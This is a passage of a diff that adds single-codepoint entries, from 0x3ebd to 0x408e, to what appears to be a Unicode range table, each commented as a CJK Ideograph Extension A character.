+ [0x3ebd, 0x3ebd], /* CJK Ideograph Extension A */
+ [0x3ebe, 0x3ebe], /* CJK Ideograph Extension A */
+ [0x3ebf, 0x3ebf], /* CJK Ideograph Extension A */
+ [0x3ec0, 0x3ec0], /* CJK Ideograph Extension A */
+ [0x3ec1, 0x3ec1], /* CJK Ideograph Extension A */
+ [0x3ec2, 0x3ec2], /* CJK Ideograph Extension A */
+ [0x3ec3, 0x3ec3], /* CJK Ideograph Extension A */
+ [0x3ec4, 0x3ec4], /* CJK Ideograph Extension A */
+ [0x3ec5, 0x3ec5], /* CJK Ideograph Extension A */
+ [0x3ec6, 0x3ec6], /* CJK Ideograph Extension A */
+ [0x3ec7, 0x3ec7], /* CJK Ideograph Extension A */
+ [0x3ec8, 0x3ec8], /* CJK Ideograph Extension A */
+ [0x3ec9, 0x3ec9], /* CJK Ideograph Extension A */
+ [0x3eca, 0x3eca], /* CJK Ideograph Extension A */
+ [0x3ecb, 0x3ecb], /* CJK Ideograph Extension A */
+ [0x3ecc, 0x3ecc], /* CJK Ideograph Extension A */
+ [0x3ecd, 0x3ecd], /* CJK Ideograph Extension A */
+ [0x3ece, 0x3ece], /* CJK Ideograph Extension A */
+ [0x3ecf, 0x3ecf], /* CJK Ideograph Extension A */
+ [0x3ed0, 0x3ed0], /* CJK Ideograph Extension A */
+ [0x3ed1, 0x3ed1], /* CJK Ideograph Extension A */
+ [0x3ed2, 0x3ed2], /* CJK Ideograph Extension A */
+ [0x3ed3, 0x3ed3], /* CJK Ideograph Extension A */
+ [0x3ed4, 0x3ed4], /* CJK Ideograph Extension A */
+ [0x3ed5, 0x3ed5], /* CJK Ideograph Extension A */
+ [0x3ed6, 0x3ed6], /* CJK Ideograph Extension A */
+ [0x3ed7, 0x3ed7], /* CJK Ideograph Extension A */
+ [0x3ed8, 0x3ed8], /* CJK Ideograph Extension A */
+ [0x3ed9, 0x3ed9], /* CJK Ideograph Extension A */
+ [0x3eda, 0x3eda], /* CJK Ideograph Extension A */
+ [0x3edb, 0x3edb], /* CJK Ideograph Extension A */
+ [0x3edc, 0x3edc], /* CJK Ideograph Extension A */
+ [0x3edd, 0x3edd], /* CJK Ideograph Extension A */
+ [0x3ede, 0x3ede], /* CJK Ideograph Extension A */
+ [0x3edf, 0x3edf], /* CJK Ideograph Extension A */
+ [0x3ee0, 0x3ee0], /* CJK Ideograph Extension A */
+ [0x3ee1, 0x3ee1], /* CJK Ideograph Extension A */
+ [0x3ee2, 0x3ee2], /* CJK Ideograph Extension A */
+ [0x3ee3, 0x3ee3], /* CJK Ideograph Extension A */
+ [0x3ee4, 0x3ee4], /* CJK Ideograph Extension A */
+ [0x3ee5, 0x3ee5], /* CJK Ideograph Extension A */
+ [0x3ee6, 0x3ee6], /* CJK Ideograph Extension A */
+ [0x3ee7, 0x3ee7], /* CJK Ideograph Extension A */
+ [0x3ee8, 0x3ee8], /* CJK Ideograph Extension A */
+ [0x3ee9, 0x3ee9], /* CJK Ideograph Extension A */
+ [0x3eea, 0x3eea], /* CJK Ideograph Extension A */
+ [0x3eeb, 0x3eeb], /* CJK Ideograph Extension A */
+ [0x3eec, 0x3eec], /* CJK Ideograph Extension A */
+ [0x3eed, 0x3eed], /* CJK Ideograph Extension A */
+ [0x3eee, 0x3eee], /* CJK Ideograph Extension A */
+ [0x3eef, 0x3eef], /* CJK Ideograph Extension A */
+ [0x3ef0, 0x3ef0], /* CJK Ideograph Extension A */
+ [0x3ef1, 0x3ef1], /* CJK Ideograph Extension A */
+ [0x3ef2, 0x3ef2], /* CJK Ideograph Extension A */
+ [0x3ef3, 0x3ef3], /* CJK Ideograph Extension A */
+ [0x3ef4, 0x3ef4], /* CJK Ideograph Extension A */
+ [0x3ef5, 0x3ef5], /* CJK Ideograph Extension A */
+ [0x3ef6, 0x3ef6], /* CJK Ideograph Extension A */
+ [0x3ef7, 0x3ef7], /* CJK Ideograph Extension A */
+ [0x3ef8, 0x3ef8], /* CJK Ideograph Extension A */
+ [0x3ef9, 0x3ef9], /* CJK Ideograph Extension A */
+ [0x3efa, 0x3efa], /* CJK Ideograph Extension A */
+ [0x3efb, 0x3efb], /* CJK Ideograph Extension A */
+ [0x3efc, 0x3efc], /* CJK Ideograph Extension A */
+ [0x3efd, 0x3efd], /* CJK Ideograph Extension A */
+ [0x3efe, 0x3efe], /* CJK Ideograph Extension A */
+ [0x3eff, 0x3eff], /* CJK Ideograph Extension A */
+ [0x3f00, 0x3f00], /* CJK Ideograph Extension A */
+ [0x3f01, 0x3f01], /* CJK Ideograph Extension A */
+ [0x3f02, 0x3f02], /* CJK Ideograph Extension A */
+ [0x3f03, 0x3f03], /* CJK Ideograph Extension A */
+ [0x3f04, 0x3f04], /* CJK Ideograph Extension A */
+ [0x3f05, 0x3f05], /* CJK Ideograph Extension A */
+ [0x3f06, 0x3f06], /* CJK Ideograph Extension A */
+ [0x3f07, 0x3f07], /* CJK Ideograph Extension A */
+ [0x3f08, 0x3f08], /* CJK Ideograph Extension A */
+ [0x3f09, 0x3f09], /* CJK Ideograph Extension A */
+ [0x3f0a, 0x3f0a], /* CJK Ideograph Extension A */
+ [0x3f0b, 0x3f0b], /* CJK Ideograph Extension A */
+ [0x3f0c, 0x3f0c], /* CJK Ideograph Extension A */
+ [0x3f0d, 0x3f0d], /* CJK Ideograph Extension A */
+ [0x3f0e, 0x3f0e], /* CJK Ideograph Extension A */
+ [0x3f0f, 0x3f0f], /* CJK Ideograph Extension A */
+ [0x3f10, 0x3f10], /* CJK Ideograph Extension A */
+ [0x3f11, 0x3f11], /* CJK Ideograph Extension A */
+ [0x3f12, 0x3f12], /* CJK Ideograph Extension A */
+ [0x3f13, 0x3f13], /* CJK Ideograph Extension A */
+ [0x3f14, 0x3f14], /* CJK Ideograph Extension A */
+ [0x3f15, 0x3f15], /* CJK Ideograph Extension A */
+ [0x3f16, 0x3f16], /* CJK Ideograph Extension A */
+ [0x3f17, 0x3f17], /* CJK Ideograph Extension A */
+ [0x3f18, 0x3f18], /* CJK Ideograph Extension A */
+ [0x3f19, 0x3f19], /* CJK Ideograph Extension A */
+ [0x3f1a, 0x3f1a], /* CJK Ideograph Extension A */
+ [0x3f1b, 0x3f1b], /* CJK Ideograph Extension A */
+ [0x3f1c, 0x3f1c], /* CJK Ideograph Extension A */
+ [0x3f1d, 0x3f1d], /* CJK Ideograph Extension A */
+ [0x3f1e, 0x3f1e], /* CJK Ideograph Extension A */
+ [0x3f1f, 0x3f1f], /* CJK Ideograph Extension A */
+ [0x3f20, 0x3f20], /* CJK Ideograph Extension A */
+ [0x3f21, 0x3f21], /* CJK Ideograph Extension A */
+ [0x3f22, 0x3f22], /* CJK Ideograph Extension A */
+ [0x3f23, 0x3f23], /* CJK Ideograph Extension A */
+ [0x3f24, 0x3f24], /* CJK Ideograph Extension A */
+ [0x3f25, 0x3f25], /* CJK Ideograph Extension A */
+ [0x3f26, 0x3f26], /* CJK Ideograph Extension A */
+ [0x3f27, 0x3f27], /* CJK Ideograph Extension A */
+ [0x3f28, 0x3f28], /* CJK Ideograph Extension A */
+ [0x3f29, 0x3f29], /* CJK Ideograph Extension A */
+ [0x3f2a, 0x3f2a], /* CJK Ideograph Extension A */
+ [0x3f2b, 0x3f2b], /* CJK Ideograph Extension A */
+ [0x3f2c, 0x3f2c], /* CJK Ideograph Extension A */
+ [0x3f2d, 0x3f2d], /* CJK Ideograph Extension A */
+ [0x3f2e, 0x3f2e], /* CJK Ideograph Extension A */
+ [0x3f2f, 0x3f2f], /* CJK Ideograph Extension A */
+ [0x3f30, 0x3f30], /* CJK Ideograph Extension A */
+ [0x3f31, 0x3f31], /* CJK Ideograph Extension A */
+ [0x3f32, 0x3f32], /* CJK Ideograph Extension A */
+ [0x3f33, 0x3f33], /* CJK Ideograph Extension A */
+ [0x3f34, 0x3f34], /* CJK Ideograph Extension A */
+ [0x3f35, 0x3f35], /* CJK Ideograph Extension A */
+ [0x3f36, 0x3f36], /* CJK Ideograph Extension A */
+ [0x3f37, 0x3f37], /* CJK Ideograph Extension A */
+ [0x3f38, 0x3f38], /* CJK Ideograph Extension A */
+ [0x3f39, 0x3f39], /* CJK Ideograph Extension A */
+ [0x3f3a, 0x3f3a], /* CJK Ideograph Extension A */
+ [0x3f3b, 0x3f3b], /* CJK Ideograph Extension A */
+ [0x3f3c, 0x3f3c], /* CJK Ideograph Extension A */
+ [0x3f3d, 0x3f3d], /* CJK Ideograph Extension A */
+ [0x3f3e, 0x3f3e], /* CJK Ideograph Extension A */
+ [0x3f3f, 0x3f3f], /* CJK Ideograph Extension A */
+ [0x3f40, 0x3f40], /* CJK Ideograph Extension A */
+ [0x3f41, 0x3f41], /* CJK Ideograph Extension A */
+ [0x3f42, 0x3f42], /* CJK Ideograph Extension A */
+ [0x3f43, 0x3f43], /* CJK Ideograph Extension A */
+ [0x3f44, 0x3f44], /* CJK Ideograph Extension A */
+ [0x3f45, 0x3f45], /* CJK Ideograph Extension A */
+ [0x3f46, 0x3f46], /* CJK Ideograph Extension A */
+ [0x3f47, 0x3f47], /* CJK Ideograph Extension A */
+ [0x3f48, 0x3f48], /* CJK Ideograph Extension A */
+ [0x3f49, 0x3f49], /* CJK Ideograph Extension A */
+ [0x3f4a, 0x3f4a], /* CJK Ideograph Extension A */
+ [0x3f4b, 0x3f4b], /* CJK Ideograph Extension A */
+ [0x3f4c, 0x3f4c], /* CJK Ideograph Extension A */
+ [0x3f4d, 0x3f4d], /* CJK Ideograph Extension A */
+ [0x3f4e, 0x3f4e], /* CJK Ideograph Extension A */
+ [0x3f4f, 0x3f4f], /* CJK Ideograph Extension A */
+ [0x3f50, 0x3f50], /* CJK Ideograph Extension A */
+ [0x3f51, 0x3f51], /* CJK Ideograph Extension A */
+ [0x3f52, 0x3f52], /* CJK Ideograph Extension A */
+ [0x3f53, 0x3f53], /* CJK Ideograph Extension A */
+ [0x3f54, 0x3f54], /* CJK Ideograph Extension A */
+ [0x3f55, 0x3f55], /* CJK Ideograph Extension A */
+ [0x3f56, 0x3f56], /* CJK Ideograph Extension A */
+ [0x3f57, 0x3f57], /* CJK Ideograph Extension A */
+ [0x3f58, 0x3f58], /* CJK Ideograph Extension A */
+ [0x3f59, 0x3f59], /* CJK Ideograph Extension A */
+ [0x3f5a, 0x3f5a], /* CJK Ideograph Extension A */
+ [0x3f5b, 0x3f5b], /* CJK Ideograph Extension A */
+ [0x3f5c, 0x3f5c], /* CJK Ideograph Extension A */
+ [0x3f5d, 0x3f5d], /* CJK Ideograph Extension A */
+ [0x3f5e, 0x3f5e], /* CJK Ideograph Extension A */
+ [0x3f5f, 0x3f5f], /* CJK Ideograph Extension A */
+ [0x3f60, 0x3f60], /* CJK Ideograph Extension A */
+ [0x3f61, 0x3f61], /* CJK Ideograph Extension A */
+ [0x3f62, 0x3f62], /* CJK Ideograph Extension A */
+ [0x3f63, 0x3f63], /* CJK Ideograph Extension A */
+ [0x3f64, 0x3f64], /* CJK Ideograph Extension A */
+ [0x3f65, 0x3f65], /* CJK Ideograph Extension A */
+ [0x3f66, 0x3f66], /* CJK Ideograph Extension A */
+ [0x3f67, 0x3f67], /* CJK Ideograph Extension A */
+ [0x3f68, 0x3f68], /* CJK Ideograph Extension A */
+ [0x3f69, 0x3f69], /* CJK Ideograph Extension A */
+ [0x3f6a, 0x3f6a], /* CJK Ideograph Extension A */
+ [0x3f6b, 0x3f6b], /* CJK Ideograph Extension A */
+ [0x3f6c, 0x3f6c], /* CJK Ideograph Extension A */
+ [0x3f6d, 0x3f6d], /* CJK Ideograph Extension A */
+ [0x3f6e, 0x3f6e], /* CJK Ideograph Extension A */
+ [0x3f6f, 0x3f6f], /* CJK Ideograph Extension A */
+ [0x3f70, 0x3f70], /* CJK Ideograph Extension A */
+ [0x3f71, 0x3f71], /* CJK Ideograph Extension A */
+ [0x3f72, 0x3f72], /* CJK Ideograph Extension A */
+ [0x3f73, 0x3f73], /* CJK Ideograph Extension A */
+ [0x3f74, 0x3f74], /* CJK Ideograph Extension A */
+ [0x3f75, 0x3f75], /* CJK Ideograph Extension A */
+ [0x3f76, 0x3f76], /* CJK Ideograph Extension A */
+ [0x3f77, 0x3f77], /* CJK Ideograph Extension A */
+ [0x3f78, 0x3f78], /* CJK Ideograph Extension A */
+ [0x3f79, 0x3f79], /* CJK Ideograph Extension A */
+ [0x3f7a, 0x3f7a], /* CJK Ideograph Extension A */
+ [0x3f7b, 0x3f7b], /* CJK Ideograph Extension A */
+ [0x3f7c, 0x3f7c], /* CJK Ideograph Extension A */
+ [0x3f7d, 0x3f7d], /* CJK Ideograph Extension A */
+ [0x3f7e, 0x3f7e], /* CJK Ideograph Extension A */
+ [0x3f7f, 0x3f7f], /* CJK Ideograph Extension A */
+ [0x3f80, 0x3f80], /* CJK Ideograph Extension A */
+ [0x3f81, 0x3f81], /* CJK Ideograph Extension A */
+ [0x3f82, 0x3f82], /* CJK Ideograph Extension A */
+ [0x3f83, 0x3f83], /* CJK Ideograph Extension A */
+ [0x3f84, 0x3f84], /* CJK Ideograph Extension A */
+ [0x3f85, 0x3f85], /* CJK Ideograph Extension A */
+ [0x3f86, 0x3f86], /* CJK Ideograph Extension A */
+ [0x3f87, 0x3f87], /* CJK Ideograph Extension A */
+ [0x3f88, 0x3f88], /* CJK Ideograph Extension A */
+ [0x3f89, 0x3f89], /* CJK Ideograph Extension A */
+ [0x3f8a, 0x3f8a], /* CJK Ideograph Extension A */
+ [0x3f8b, 0x3f8b], /* CJK Ideograph Extension A */
+ [0x3f8c, 0x3f8c], /* CJK Ideograph Extension A */
+ [0x3f8d, 0x3f8d], /* CJK Ideograph Extension A */
+ [0x3f8e, 0x3f8e], /* CJK Ideograph Extension A */
+ [0x3f8f, 0x3f8f], /* CJK Ideograph Extension A */
+ [0x3f90, 0x3f90], /* CJK Ideograph Extension A */
+ [0x3f91, 0x3f91], /* CJK Ideograph Extension A */
+ [0x3f92, 0x3f92], /* CJK Ideograph Extension A */
+ [0x3f93, 0x3f93], /* CJK Ideograph Extension A */
+ [0x3f94, 0x3f94], /* CJK Ideograph Extension A */
+ [0x3f95, 0x3f95], /* CJK Ideograph Extension A */
+ [0x3f96, 0x3f96], /* CJK Ideograph Extension A */
+ [0x3f97, 0x3f97], /* CJK Ideograph Extension A */
+ [0x3f98, 0x3f98], /* CJK Ideograph Extension A */
+ [0x3f99, 0x3f99], /* CJK Ideograph Extension A */
+ [0x3f9a, 0x3f9a], /* CJK Ideograph Extension A */
+ [0x3f9b, 0x3f9b], /* CJK Ideograph Extension A */
+ [0x3f9c, 0x3f9c], /* CJK Ideograph Extension A */
+ [0x3f9d, 0x3f9d], /* CJK Ideograph Extension A */
+ [0x3f9e, 0x3f9e], /* CJK Ideograph Extension A */
+ [0x3f9f, 0x3f9f], /* CJK Ideograph Extension A */
+ [0x3fa0, 0x3fa0], /* CJK Ideograph Extension A */
+ [0x3fa1, 0x3fa1], /* CJK Ideograph Extension A */
+ [0x3fa2, 0x3fa2], /* CJK Ideograph Extension A */
+ [0x3fa3, 0x3fa3], /* CJK Ideograph Extension A */
+ [0x3fa4, 0x3fa4], /* CJK Ideograph Extension A */
+ [0x3fa5, 0x3fa5], /* CJK Ideograph Extension A */
+ [0x3fa6, 0x3fa6], /* CJK Ideograph Extension A */
+ [0x3fa7, 0x3fa7], /* CJK Ideograph Extension A */
+ [0x3fa8, 0x3fa8], /* CJK Ideograph Extension A */
+ [0x3fa9, 0x3fa9], /* CJK Ideograph Extension A */
+ [0x3faa, 0x3faa], /* CJK Ideograph Extension A */
+ [0x3fab, 0x3fab], /* CJK Ideograph Extension A */
+ [0x3fac, 0x3fac], /* CJK Ideograph Extension A */
+ [0x3fad, 0x3fad], /* CJK Ideograph Extension A */
+ [0x3fae, 0x3fae], /* CJK Ideograph Extension A */
+ [0x3faf, 0x3faf], /* CJK Ideograph Extension A */
+ [0x3fb0, 0x3fb0], /* CJK Ideograph Extension A */
+ [0x3fb1, 0x3fb1], /* CJK Ideograph Extension A */
+ [0x3fb2, 0x3fb2], /* CJK Ideograph Extension A */
+ [0x3fb3, 0x3fb3], /* CJK Ideograph Extension A */
+ [0x3fb4, 0x3fb4], /* CJK Ideograph Extension A */
+ [0x3fb5, 0x3fb5], /* CJK Ideograph Extension A */
+ [0x3fb6, 0x3fb6], /* CJK Ideograph Extension A */
+ [0x3fb7, 0x3fb7], /* CJK Ideograph Extension A */
+ [0x3fb8, 0x3fb8], /* CJK Ideograph Extension A */
+ [0x3fb9, 0x3fb9], /* CJK Ideograph Extension A */
+ [0x3fba, 0x3fba], /* CJK Ideograph Extension A */
+ [0x3fbb, 0x3fbb], /* CJK Ideograph Extension A */
+ [0x3fbc, 0x3fbc], /* CJK Ideograph Extension A */
+ [0x3fbd, 0x3fbd], /* CJK Ideograph Extension A */
+ [0x3fbe, 0x3fbe], /* CJK Ideograph Extension A */
+ [0x3fbf, 0x3fbf], /* CJK Ideograph Extension A */
+ [0x3fc0, 0x3fc0], /* CJK Ideograph Extension A */
+ [0x3fc1, 0x3fc1], /* CJK Ideograph Extension A */
+ [0x3fc2, 0x3fc2], /* CJK Ideograph Extension A */
+ [0x3fc3, 0x3fc3], /* CJK Ideograph Extension A */
+ [0x3fc4, 0x3fc4], /* CJK Ideograph Extension A */
+ [0x3fc5, 0x3fc5], /* CJK Ideograph Extension A */
+ [0x3fc6, 0x3fc6], /* CJK Ideograph Extension A */
+ [0x3fc7, 0x3fc7], /* CJK Ideograph Extension A */
+ [0x3fc8, 0x3fc8], /* CJK Ideograph Extension A */
+ [0x3fc9, 0x3fc9], /* CJK Ideograph Extension A */
+ [0x3fca, 0x3fca], /* CJK Ideograph Extension A */
+ [0x3fcb, 0x3fcb], /* CJK Ideograph Extension A */
+ [0x3fcc, 0x3fcc], /* CJK Ideograph Extension A */
+ [0x3fcd, 0x3fcd], /* CJK Ideograph Extension A */
+ [0x3fce, 0x3fce], /* CJK Ideograph Extension A */
+ [0x3fcf, 0x3fcf], /* CJK Ideograph Extension A */
+ [0x3fd0, 0x3fd0], /* CJK Ideograph Extension A */
+ [0x3fd1, 0x3fd1], /* CJK Ideograph Extension A */
+ [0x3fd2, 0x3fd2], /* CJK Ideograph Extension A */
+ [0x3fd3, 0x3fd3], /* CJK Ideograph Extension A */
+ [0x3fd4, 0x3fd4], /* CJK Ideograph Extension A */
+ [0x3fd5, 0x3fd5], /* CJK Ideograph Extension A */
+ [0x3fd6, 0x3fd6], /* CJK Ideograph Extension A */
+ [0x3fd7, 0x3fd7], /* CJK Ideograph Extension A */
+ [0x3fd8, 0x3fd8], /* CJK Ideograph Extension A */
+ [0x3fd9, 0x3fd9], /* CJK Ideograph Extension A */
+ [0x3fda, 0x3fda], /* CJK Ideograph Extension A */
+ [0x3fdb, 0x3fdb], /* CJK Ideograph Extension A */
+ [0x3fdc, 0x3fdc], /* CJK Ideograph Extension A */
+ [0x3fdd, 0x3fdd], /* CJK Ideograph Extension A */
+ [0x3fde, 0x3fde], /* CJK Ideograph Extension A */
+ [0x3fdf, 0x3fdf], /* CJK Ideograph Extension A */
+ [0x3fe0, 0x3fe0], /* CJK Ideograph Extension A */
+ [0x3fe1, 0x3fe1], /* CJK Ideograph Extension A */
+ [0x3fe2, 0x3fe2], /* CJK Ideograph Extension A */
+ [0x3fe3, 0x3fe3], /* CJK Ideograph Extension A */
+ [0x3fe4, 0x3fe4], /* CJK Ideograph Extension A */
+ [0x3fe5, 0x3fe5], /* CJK Ideograph Extension A */
+ [0x3fe6, 0x3fe6], /* CJK Ideograph Extension A */
+ [0x3fe7, 0x3fe7], /* CJK Ideograph Extension A */
+ [0x3fe8, 0x3fe8], /* CJK Ideograph Extension A */
+ [0x3fe9, 0x3fe9], /* CJK Ideograph Extension A */
+ [0x3fea, 0x3fea], /* CJK Ideograph Extension A */
+ [0x3feb, 0x3feb], /* CJK Ideograph Extension A */
+ [0x3fec, 0x3fec], /* CJK Ideograph Extension A */
+ [0x3fed, 0x3fed], /* CJK Ideograph Extension A */
+ [0x3fee, 0x3fee], /* CJK Ideograph Extension A */
+ [0x3fef, 0x3fef], /* CJK Ideograph Extension A */
+ [0x3ff0, 0x3ff0], /* CJK Ideograph Extension A */
+ [0x3ff1, 0x3ff1], /* CJK Ideograph Extension A */
+ [0x3ff2, 0x3ff2], /* CJK Ideograph Extension A */
+ [0x3ff3, 0x3ff3], /* CJK Ideograph Extension A */
+ [0x3ff4, 0x3ff4], /* CJK Ideograph Extension A */
+ [0x3ff5, 0x3ff5], /* CJK Ideograph Extension A */
+ [0x3ff6, 0x3ff6], /* CJK Ideograph Extension A */
+ [0x3ff7, 0x3ff7], /* CJK Ideograph Extension A */
+ [0x3ff8, 0x3ff8], /* CJK Ideograph Extension A */
+ [0x3ff9, 0x3ff9], /* CJK Ideograph Extension A */
+ [0x3ffa, 0x3ffa], /* CJK Ideograph Extension A */
+ [0x3ffb, 0x3ffb], /* CJK Ideograph Extension A */
+ [0x3ffc, 0x3ffc], /* CJK Ideograph Extension A */
+ [0x3ffd, 0x3ffd], /* CJK Ideograph Extension A */
+ [0x3ffe, 0x3ffe], /* CJK Ideograph Extension A */
+ [0x3fff, 0x3fff], /* CJK Ideograph Extension A */
+ [0x4000, 0x4000], /* CJK Ideograph Extension A */
+ [0x4001, 0x4001], /* CJK Ideograph Extension A */
+ [0x4002, 0x4002], /* CJK Ideograph Extension A */
+ [0x4003, 0x4003], /* CJK Ideograph Extension A */
+ [0x4004, 0x4004], /* CJK Ideograph Extension A */
+ [0x4005, 0x4005], /* CJK Ideograph Extension A */
+ [0x4006, 0x4006], /* CJK Ideograph Extension A */
+ [0x4007, 0x4007], /* CJK Ideograph Extension A */
+ [0x4008, 0x4008], /* CJK Ideograph Extension A */
+ [0x4009, 0x4009], /* CJK Ideograph Extension A */
+ [0x400a, 0x400a], /* CJK Ideograph Extension A */
+ [0x400b, 0x400b], /* CJK Ideograph Extension A */
+ [0x400c, 0x400c], /* CJK Ideograph Extension A */
+ [0x400d, 0x400d], /* CJK Ideograph Extension A */
+ [0x400e, 0x400e], /* CJK Ideograph Extension A */
+ [0x400f, 0x400f], /* CJK Ideograph Extension A */
+ [0x4010, 0x4010], /* CJK Ideograph Extension A */
+ [0x4011, 0x4011], /* CJK Ideograph Extension A */
+ [0x4012, 0x4012], /* CJK Ideograph Extension A */
+ [0x4013, 0x4013], /* CJK Ideograph Extension A */
+ [0x4014, 0x4014], /* CJK Ideograph Extension A */
+ [0x4015, 0x4015], /* CJK Ideograph Extension A */
+ [0x4016, 0x4016], /* CJK Ideograph Extension A */
+ [0x4017, 0x4017], /* CJK Ideograph Extension A */
+ [0x4018, 0x4018], /* CJK Ideograph Extension A */
+ [0x4019, 0x4019], /* CJK Ideograph Extension A */
+ [0x401a, 0x401a], /* CJK Ideograph Extension A */
+ [0x401b, 0x401b], /* CJK Ideograph Extension A */
+ [0x401c, 0x401c], /* CJK Ideograph Extension A */
+ [0x401d, 0x401d], /* CJK Ideograph Extension A */
+ [0x401e, 0x401e], /* CJK Ideograph Extension A */
+ [0x401f, 0x401f], /* CJK Ideograph Extension A */
+ [0x4020, 0x4020], /* CJK Ideograph Extension A */
+ [0x4021, 0x4021], /* CJK Ideograph Extension A */
+ [0x4022, 0x4022], /* CJK Ideograph Extension A */
+ [0x4023, 0x4023], /* CJK Ideograph Extension A */
+ [0x4024, 0x4024], /* CJK Ideograph Extension A */
+ [0x4025, 0x4025], /* CJK Ideograph Extension A */
+ [0x4026, 0x4026], /* CJK Ideograph Extension A */
+ [0x4027, 0x4027], /* CJK Ideograph Extension A */
+ [0x4028, 0x4028], /* CJK Ideograph Extension A */
+ [0x4029, 0x4029], /* CJK Ideograph Extension A */
+ [0x402a, 0x402a], /* CJK Ideograph Extension A */
+ [0x402b, 0x402b], /* CJK Ideograph Extension A */
+ [0x402c, 0x402c], /* CJK Ideograph Extension A */
+ [0x402d, 0x402d], /* CJK Ideograph Extension A */
+ [0x402e, 0x402e], /* CJK Ideograph Extension A */
+ [0x402f, 0x402f], /* CJK Ideograph Extension A */
+ [0x4030, 0x4030], /* CJK Ideograph Extension A */
+ [0x4031, 0x4031], /* CJK Ideograph Extension A */
+ [0x4032, 0x4032], /* CJK Ideograph Extension A */
+ [0x4033, 0x4033], /* CJK Ideograph Extension A */
+ [0x4034, 0x4034], /* CJK Ideograph Extension A */
+ [0x4035, 0x4035], /* CJK Ideograph Extension A */
+ [0x4036, 0x4036], /* CJK Ideograph Extension A */
+ [0x4037, 0x4037], /* CJK Ideograph Extension A */
+ [0x4038, 0x4038], /* CJK Ideograph Extension A */
+ [0x4039, 0x4039], /* CJK Ideograph Extension A */
+ [0x403a, 0x403a], /* CJK Ideograph Extension A */
+ [0x403b, 0x403b], /* CJK Ideograph Extension A */
+ [0x403c, 0x403c], /* CJK Ideograph Extension A */
+ [0x403d, 0x403d], /* CJK Ideograph Extension A */
+ [0x403e, 0x403e], /* CJK Ideograph Extension A */
+ [0x403f, 0x403f], /* CJK Ideograph Extension A */
+ [0x4040, 0x4040], /* CJK Ideograph Extension A */
+ [0x4041, 0x4041], /* CJK Ideograph Extension A */
+ [0x4042, 0x4042], /* CJK Ideograph Extension A */
+ [0x4043, 0x4043], /* CJK Ideograph Extension A */
+ [0x4044, 0x4044], /* CJK Ideograph Extension A */
+ [0x4045, 0x4045], /* CJK Ideograph Extension A */
+ [0x4046, 0x4046], /* CJK Ideograph Extension A */
+ [0x4047, 0x4047], /* CJK Ideograph Extension A */
+ [0x4048, 0x4048], /* CJK Ideograph Extension A */
+ [0x4049, 0x4049], /* CJK Ideograph Extension A */
+ [0x404a, 0x404a], /* CJK Ideograph Extension A */
+ [0x404b, 0x404b], /* CJK Ideograph Extension A */
+ [0x404c, 0x404c], /* CJK Ideograph Extension A */
+ [0x404d, 0x404d], /* CJK Ideograph Extension A */
+ [0x404e, 0x404e], /* CJK Ideograph Extension A */
+ [0x404f, 0x404f], /* CJK Ideograph Extension A */
+ [0x4050, 0x4050], /* CJK Ideograph Extension A */
+ [0x4051, 0x4051], /* CJK Ideograph Extension A */
+ [0x4052, 0x4052], /* CJK Ideograph Extension A */
+ [0x4053, 0x4053], /* CJK Ideograph Extension A */
+ [0x4054, 0x4054], /* CJK Ideograph Extension A */
+ [0x4055, 0x4055], /* CJK Ideograph Extension A */
+ [0x4056, 0x4056], /* CJK Ideograph Extension A */
+ [0x4057, 0x4057], /* CJK Ideograph Extension A */
+ [0x4058, 0x4058], /* CJK Ideograph Extension A */
+ [0x4059, 0x4059], /* CJK Ideograph Extension A */
+ [0x405a, 0x405a], /* CJK Ideograph Extension A */
+ [0x405b, 0x405b], /* CJK Ideograph Extension A */
+ [0x405c, 0x405c], /* CJK Ideograph Extension A */
+ [0x405d, 0x405d], /* CJK Ideograph Extension A */
+ [0x405e, 0x405e], /* CJK Ideograph Extension A */
+ [0x405f, 0x405f], /* CJK Ideograph Extension A */
+ [0x4060, 0x4060], /* CJK Ideograph Extension A */
+ [0x4061, 0x4061], /* CJK Ideograph Extension A */
+ [0x4062, 0x4062], /* CJK Ideograph Extension A */
+ [0x4063, 0x4063], /* CJK Ideograph Extension A */
+ [0x4064, 0x4064], /* CJK Ideograph Extension A */
+ [0x4065, 0x4065], /* CJK Ideograph Extension A */
+ [0x4066, 0x4066], /* CJK Ideograph Extension A */
+ [0x4067, 0x4067], /* CJK Ideograph Extension A */
+ [0x4068, 0x4068], /* CJK Ideograph Extension A */
+ [0x4069, 0x4069], /* CJK Ideograph Extension A */
+ [0x406a, 0x406a], /* CJK Ideograph Extension A */
+ [0x406b, 0x406b], /* CJK Ideograph Extension A */
+ [0x406c, 0x406c], /* CJK Ideograph Extension A */
+ [0x406d, 0x406d], /* CJK Ideograph Extension A */
+ [0x406e, 0x406e], /* CJK Ideograph Extension A */
+ [0x406f, 0x406f], /* CJK Ideograph Extension A */
+ [0x4070, 0x4070], /* CJK Ideograph Extension A */
+ [0x4071, 0x4071], /* CJK Ideograph Extension A */
+ [0x4072, 0x4072], /* CJK Ideograph Extension A */
+ [0x4073, 0x4073], /* CJK Ideograph Extension A */
+ [0x4074, 0x4074], /* CJK Ideograph Extension A */
+ [0x4075, 0x4075], /* CJK Ideograph Extension A */
+ [0x4076, 0x4076], /* CJK Ideograph Extension A */
+ [0x4077, 0x4077], /* CJK Ideograph Extension A */
+ [0x4078, 0x4078], /* CJK Ideograph Extension A */
+ [0x4079, 0x4079], /* CJK Ideograph Extension A */
+ [0x407a, 0x407a], /* CJK Ideograph Extension A */
+ [0x407b, 0x407b], /* CJK Ideograph Extension A */
+ [0x407c, 0x407c], /* CJK Ideograph Extension A */
+ [0x407d, 0x407d], /* CJK Ideograph Extension A */
+ [0x407e, 0x407e], /* CJK Ideograph Extension A */
+ [0x407f, 0x407f], /* CJK Ideograph Extension A */
+ [0x4080, 0x4080], /* CJK Ideograph Extension A */
+ [0x4081, 0x4081], /* CJK Ideograph Extension A */
+ [0x4082, 0x4082], /* CJK Ideograph Extension A */
+ [0x4083, 0x4083], /* CJK Ideograph Extension A */
+ [0x4084, 0x4084], /* CJK Ideograph Extension A */
+ [0x4085, 0x4085], /* CJK Ideograph Extension A */
+ [0x4086, 0x4086], /* CJK Ideograph Extension A */
+ [0x4087, 0x4087], /* CJK Ideograph Extension A */
+ [0x4088, 0x4088], /* CJK Ideograph Extension A */
+ [0x4089, 0x4089], /* CJK Ideograph Extension A */
+ [0x408a, 0x408a], /* CJK Ideograph Extension A */
+ [0x408b, 0x408b], /* CJK Ideograph Extension A */
+ [0x408c, 0x408c], /* CJK Ideograph Extension A */
+ [0x408d, 0x408d], /* CJK Ideograph Extension A */
+ [0x408e, 0x408e], /* CJK Ideograph Extension A */
